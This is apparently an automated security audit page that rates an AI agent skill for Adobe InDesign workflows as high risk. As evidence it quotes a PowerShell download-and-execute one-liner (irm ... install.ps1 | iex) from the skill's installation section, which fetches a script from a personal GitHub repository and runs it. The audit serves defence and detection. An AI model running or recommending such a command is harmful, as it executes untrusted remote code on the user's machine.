Skills
Navigate
skills/reason-machines/design-skills/adobe-indesign-2026-workflow/Gen Agent Trust Hub

adobe-indesign-2026-workflow

Fail

Audited by Gen Agent Trust Hub on Sep 16, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTIONDYNAMIC_EXECUTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The installation instructions contain a command that downloads and immediately executes a script from a remote URL.
  • Evidence: irm https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1 | iex found in the Installation section.
  • The combination of irm (Invoke-RestMethod) and iex (Invoke-Expression) allows for arbitrary code execution without saving the file for review first.
  • [EXTERNAL_DOWNLOADS]: The skill attempts to download a script from a personal GitHub repository that does not belong to the skill author or a trusted organization.
  • Source: https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1.
  • [DYNAMIC_EXECUTION]: The use of Invoke-Expression (iex) triggers the dynamic execution of code retrieved from a network source at runtime.
  • [COMMAND_EXECUTION]: The skill instructs the user or agent to run a high-risk PowerShell command on a Windows system to complete the "workflow reference setup."
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Sep 16, 2026, 03:58 AM